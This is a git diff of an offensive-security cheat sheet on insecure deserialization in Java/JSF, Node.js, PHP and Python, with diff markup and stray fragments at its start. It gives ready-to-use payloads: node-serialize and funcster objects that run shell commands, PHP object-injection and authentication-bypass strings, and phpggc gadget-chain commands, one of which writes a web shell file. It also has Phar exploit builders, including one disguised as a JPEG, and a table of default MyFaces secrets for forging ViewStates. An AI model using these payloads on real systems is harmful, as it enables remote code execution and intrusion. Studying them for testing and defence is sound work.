* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
||||||
| KryoAltStrategy | **JDK only RCE**
|
* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
|
||||||
| Red5AMF(0|3) | **JDK only RCE**
|
|
||||||
| SnakeYAML | **JDK only RCEs**
|
|
||||||
| XStream | **JDK only RCEs**
|
### Encoding
|
||||||
| YAMLBeans | third party RCE
|
|
||||||
|
| Encoding | Starts with |
|
||||||
|
| ------------- | ----------- |
|
||||||
|
| base64 | `rO0` |
|
||||||
|
| base64 + gzip | `H4sIAAA` |
|
||||||
|
|
||||||
|
|
||||||
|
### Storage
|
||||||
|
|
||||||
|
The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
|
||||||
|
|
||||||
|
The storage method can also be inferred from the viewstate representation in the HTML body.
|
||||||
|
|
||||||
|
* **Server side** storage: `value="-XXX:-XXXX"`
|
||||||
|
* **Client side** storage: `base64 + gzip + Java Object`
|
||||||
|
|
||||||
|
|
||||||
|
### Encryption
|
||||||
|
|
||||||
|
By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
|
||||||
|
|
||||||
|
| Encryption Algorithm | HMAC |
|
||||||
|
| -------------------- | ----------- |
|
||||||
|
| DES ECB (default) | HMAC-SHA1 |
|
||||||
|
|
||||||
|
Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter.
|
||||||
|
The value of these parameters and their secrets can be found inside these XML clauses.
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
|
||||||
|
<param-name>org.apache.myfaces.SECRET</param-name>
|
||||||
|
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
|
||||||
|
```
|
||||||
|
|
||||||
|
Common secrets from the [documentation](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application).
|
||||||
|
|
||||||
|
| Name | Value |
|
||||||
|
| -------------------- | ---------------------------------- |
|
||||||
|
| AES CBC/PKCS5Padding | `NzY1NDMyMTA3NjU0MzIxMA==` |
|
||||||
|
| DES | `NzY1NDMyMTA=<` |
|
||||||
|
| DESede | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
|
||||||
|
| Blowfish | `NzY1NDMyMTA3NjU0MzIxMA` |
|
||||||
|
| AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
|
||||||
|
| AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` |
|
||||||
|
|
||||||
|
|
||||||
|
* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
|
||||||
|
* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Github - ysoserial](https://github.com/frohoff/ysoserial)
|
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||||
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
- [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
|
||||||
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
- [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
||||||
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
- [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
|
||||||
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
- [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
|
||||||
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
|
- [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
||||||
- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
|
- [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
|
||||||
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
|
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||||
|
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||||
|
- [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
|
||||||
|
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
|
||||||
|
- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||||||
|
- [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||||
56
Insecure Deserialization/Node.md
Normal file
56
Insecure Deserialization/Node.md
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
# Node Deserialization
|
||||||
|
|
||||||
|
> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [node-serialize](#node-serialize)
|
||||||
|
* [funcster](#funcster)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
* In Node source code, look for:
|
||||||
|
|
||||||
|
* `node-serialize`
|
||||||
|
* `serialize-to-js`
|
||||||
|
* `funcster`
|
||||||
|
|
||||||
|
|
||||||
|
### node-serialize
|
||||||
|
|
||||||
|
> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
|
||||||
|
|
||||||
|
1. Generate a serialized payload
|
||||||
|
```js
|
||||||
|
var y = {
|
||||||
|
rce : function(){
|
||||||
|
require('child_process').exec('ls /', function(error,
|
||||||
|
stdout, stderr) { console.log(stdout) });
|
||||||
|
},
|
||||||
|
}
|
||||||
|
var serialize = require('node-serialize');
|
||||||
|
console.log("Serialized: \n" + serialize.serialize(y));
|
||||||
|
```
|
||||||
|
2. Add bracket `()` to force the execution
|
||||||
|
```js
|
||||||
|
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
|
||||||
|
```
|
||||||
|
3. Send the payload
|
||||||
|
|
||||||
|
|
||||||
|
### funcster
|
||||||
|
|
||||||
|
```js
|
||||||
|
{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
|
||||||
|
- [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
|
||||||
|
- [NodeJS Deserialization - gonczor - January 8, 2020](https://blacksheephacks.pl/nodejs-deserialization/)
|
||||||
@@ -1,25 +1,29 @@
|
|||||||
# PHP Object injection
|
# PHP Deserialization
|
||||||
|
|
||||||
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
> PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
||||||
|
|
||||||
The following magic methods will help you for a PHP Object injection
|
|
||||||
|
|
||||||
* __wakeup() when an object is unserialized.
|
|
||||||
* __destruct() when an object is deleted.
|
|
||||||
* __toString() when an object is converted to a string.
|
|
||||||
|
|
||||||
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [General concept](#general-concept)
|
* [General Concept](#general-concept)
|
||||||
* [Authentication bypass](#authentication-bypass)
|
* [Authentication Bypass](#authentication-bypass)
|
||||||
* [Finding and using gadgets](#finding-and-using-gadgets)
|
* [Object Injection](#object-injection)
|
||||||
* [Real world examples](#real-world-examples)
|
* [Finding and Using Gadgets](#finding-and-using-gadgets)
|
||||||
* [PHP Phar Deserialization](#php-phar-deserialization)
|
* [Phar Deserialization](#phar-deserialization)
|
||||||
|
* [Real World Examples](#real-world-examples)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
## General concept
|
|
||||||
|
## General Concept
|
||||||
|
|
||||||
|
The following magic methods will help you for a PHP Object injection
|
||||||
|
|
||||||
|
* `__wakeup()` when an object is unserialized.
|
||||||
|
* `__destruct()` when an object is deleted.
|
||||||
|
* `__toString()` when an object is converted to a string.
|
||||||
|
|
||||||
|
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
|
||||||
|
|
||||||
|
|
||||||
Vulnerable code:
|
Vulnerable code:
|
||||||
|
|
||||||
@@ -49,17 +53,20 @@ Vulnerable code:
|
|||||||
|
|
||||||
Craft a payload using existing code inside the application.
|
Craft a payload using existing code inside the application.
|
||||||
|
|
||||||
```php
|
* Basic serialized data
|
||||||
# Basic serialized data
|
```php
|
||||||
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
||||||
|
```
|
||||||
|
|
||||||
# Command execution
|
* Command execution
|
||||||
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
```php
|
||||||
```
|
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
||||||
|
```
|
||||||
|
|
||||||
## Authentication bypass
|
|
||||||
|
|
||||||
### Type juggling
|
## Authentication Bypass
|
||||||
|
|
||||||
|
### Type Juggling
|
||||||
|
|
||||||
Vulnerable code:
|
Vulnerable code:
|
||||||
|
|
||||||
@@ -82,13 +89,14 @@ a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
|||||||
|
|
||||||
Because `true == "str"` is true.
|
Because `true == "str"` is true.
|
||||||
|
|
||||||
### Object reference
|
|
||||||
|
## Object Injection
|
||||||
|
|
||||||
Vulnerable code:
|
Vulnerable code:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class Object
|
class ObjectExample
|
||||||
{
|
{
|
||||||
var $guess;
|
var $guess;
|
||||||
var $secretCode;
|
var $secretCode;
|
||||||
@@ -108,20 +116,42 @@ if($obj) {
|
|||||||
Payload:
|
Payload:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
|
O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
|
||||||
```
|
```
|
||||||
|
|
||||||
We can do an array to like this:
|
We can do an array like this:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
|
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Finding and using gadgets
|
|
||||||
|
|
||||||
Also called "PHP POP Chains", they can be used to gain RCE on the system.
|
## Finding and Using Gadgets
|
||||||
|
|
||||||
[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
|
Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
|
||||||
|
|
||||||
|
* In PHP source code, look for `unserialize()` function.
|
||||||
|
* Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`:
|
||||||
|
* `__construct()`: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.construct)
|
||||||
|
* `__destruct()`: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.destruct)
|
||||||
|
* `__call(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.call)
|
||||||
|
* `__callStatic(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.callstatic)
|
||||||
|
* `__get(string $name)`: `__get()` is utilized for reading data from inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.get)
|
||||||
|
* `__set(string $name, mixed $value)`: `__set()` is run when writing data to inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.set)
|
||||||
|
* `__isset(string $name)`: `__isset()` is triggered by calling `isset()` or `empty()` on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.isset)
|
||||||
|
* `__unset(string $name)`: `__unset()` is invoked when `unset()` is used on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.unset)
|
||||||
|
* `__sleep()`: `serialize()` checks if the class has a function with the magic name `__sleep()`. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then **null** is serialized and **E_NOTICE** is issued.[php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.sleep)
|
||||||
|
* `__wakeup()`: `unserialize()` checks for the presence of a function with the magic name `__wakeup()`. If present, this function can reconstruct any resources that the object may have. The intended use of `__wakeup()` is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup)
|
||||||
|
* `__serialize()`: `serialize()` checks if the class has a function with the magic name `__serialize()`. If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.serialize)
|
||||||
|
* `__unserialize(array $data)`: this function will be passed the restored array that was returned from __serialize(). [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize)
|
||||||
|
* `__toString()`: The __toString() method allows a class to decide how it will react when it is treated like a string [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.tostring)
|
||||||
|
* `__invoke()`: The `__invoke()` method is called when a script tries to call an object as a function. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.invoke)
|
||||||
|
* `__set_state(array $properties)`: This static method is called for classes exported by `var_export()`. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.set-state)
|
||||||
|
* `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone)
|
||||||
|
* `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo)
|
||||||
|
|
||||||
|
|
||||||
|
[ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
|
||||||
|
|
||||||
- Laravel
|
- Laravel
|
||||||
- Symfony
|
- Symfony
|
||||||
@@ -133,70 +163,105 @@ Also called "PHP POP Chains", they can be used to gain RCE on the system.
|
|||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
phpggc monolog/rce1 'phpinfo();' -s
|
phpggc monolog/rce1 'phpinfo();' -s
|
||||||
|
phpggc monolog/rce1 assert 'phpinfo()'
|
||||||
|
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
|
||||||
|
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini
|
||||||
```
|
```
|
||||||
|
|
||||||
## PHP Phar Deserialization
|
## Phar Deserialization
|
||||||
|
|
||||||
Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.
|
Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.
|
||||||
|
|
||||||
A valid PHAR includes four elements:
|
A valid PHAR includes four elements:
|
||||||
|
|
||||||
1. Stub
|
1. **Stub**: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain `__HALT_COMPILER();` at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.
|
||||||
2. Manifest
|
2. **Manifest**: Contains metadata about the archive and its contents.
|
||||||
3. File Contents
|
3. **File Contents**: Contains the actual files in the archive.
|
||||||
4. Signature
|
4. **Signature**(optional): For verifying archive integrity.
|
||||||
|
|
||||||
Example of a Phar creation in order to exploit a custom `PDFGenerator`.
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
class PDFGenerator { }
|
|
||||||
|
|
||||||
//Create a new instance of the Dummy class and modify its property
|
|
||||||
$dummy = new PDFGenerator();
|
|
||||||
$dummy->callback = "passthru";
|
|
||||||
$dummy->fileName = "uname -a > pwned"; //our payload
|
|
||||||
|
|
||||||
// Delete any existing PHAR archive with that name
|
|
||||||
@unlink("poc.phar");
|
|
||||||
|
|
||||||
// Create a new archive
|
|
||||||
$poc = new Phar("poc.phar");
|
|
||||||
|
|
||||||
// Add all write operations to a buffer, without modifying the archive on disk
|
|
||||||
$poc->startBuffering();
|
|
||||||
|
|
||||||
// Set the stub
|
|
||||||
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
|
|
||||||
|
|
||||||
/* Add a new file in the archive with "text" as its content*/
|
|
||||||
$poc["file"] = "text";
|
|
||||||
// Add the dummy object to the metadata. This will be serialized
|
|
||||||
$poc->setMetadata($dummy);
|
|
||||||
// Stop buffering and write changes to disk
|
|
||||||
$poc->stopBuffering();
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Real world examples
|
* Example of a Phar creation in order to exploit a custom `PDFGenerator`.
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
class PDFGenerator { }
|
||||||
|
|
||||||
|
//Create a new instance of the Dummy class and modify its property
|
||||||
|
$dummy = new PDFGenerator();
|
||||||
|
$dummy->callback = "passthru";
|
||||||
|
$dummy->fileName = "uname -a > pwned"; //our payload
|
||||||
|
|
||||||
|
// Delete any existing PHAR archive with that name
|
||||||
|
@unlink("poc.phar");
|
||||||
|
|
||||||
|
// Create a new archive
|
||||||
|
$poc = new Phar("poc.phar");
|
||||||
|
|
||||||
|
// Add all write operations to a buffer, without modifying the archive on disk
|
||||||
|
$poc->startBuffering();
|
||||||
|
|
||||||
|
// Set the stub
|
||||||
|
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
|
||||||
|
|
||||||
|
/* Add a new file in the archive with "text" as its content*/
|
||||||
|
$poc["file"] = "text";
|
||||||
|
// Add the dummy object to the metadata. This will be serialized
|
||||||
|
$poc->setMetadata($dummy);
|
||||||
|
// Stop buffering and write changes to disk
|
||||||
|
$poc->stopBuffering();
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
class AnyClass {
|
||||||
|
public $data = null;
|
||||||
|
public function __construct($data) {
|
||||||
|
$this->data = $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
function __destruct() {
|
||||||
|
system($this->data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// create new Phar
|
||||||
|
$phar = new Phar('test.phar');
|
||||||
|
$phar->startBuffering();
|
||||||
|
$phar->addFromString('test.txt', 'text');
|
||||||
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
||||||
|
|
||||||
|
// add object of any class as meta data
|
||||||
|
$object = new AnyClass('whoami');
|
||||||
|
$phar->setMetadata($object);
|
||||||
|
$phar->stopBuffering();
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Real World Examples
|
||||||
|
|
||||||
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
|
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
|
||||||
* [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212)
|
* [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212)
|
||||||
* [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
|
* [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
|
||||||
* [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
|
* [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
- [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
|
||||||
* [Utilizing Code Reuse/ROP in PHP](https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
|
- [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
|
||||||
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
- [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
|
||||||
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
- [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
|
||||||
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
- [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://www.xanhacks.xyz/p/php-gadget-chain/#introduction)
|
||||||
* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
- [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
|
||||||
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/meepwn-2017-write-ups/#TSULOTT-Web)
|
- [phar:// deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
|
||||||
* [CTF writeup: PHP object injection in kaspersky CTF](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
|
- [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
|
||||||
* [Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec](https://rawsec.ml/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
|
- [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
||||||
* [Rusty Joomla RCE Unserialize overflow](https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41)
|
- [PHP Internals Book - Serialization - jpauli - June 15, 2013](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
||||||
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
|
- [PHP Object Injection - Egidio Romano - April 24, 2020](https://www.owasp.org/index.php/PHP_Object_Injection)
|
||||||
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
|
- [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
|
||||||
|
- [PHP unserialize - php.net - March 29, 2001](http://php.net/manual/en/function.unserialize.php)
|
||||||
|
- [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
||||||
|
- [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
|
||||||
|
- [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
|
||||||
|
- [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
|
||||||
@@ -1,6 +1,32 @@
|
|||||||
# Python Deserialization
|
# Python Deserialization
|
||||||
|
|
||||||
## Pickle
|
> Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Pickle](#pickle)
|
||||||
|
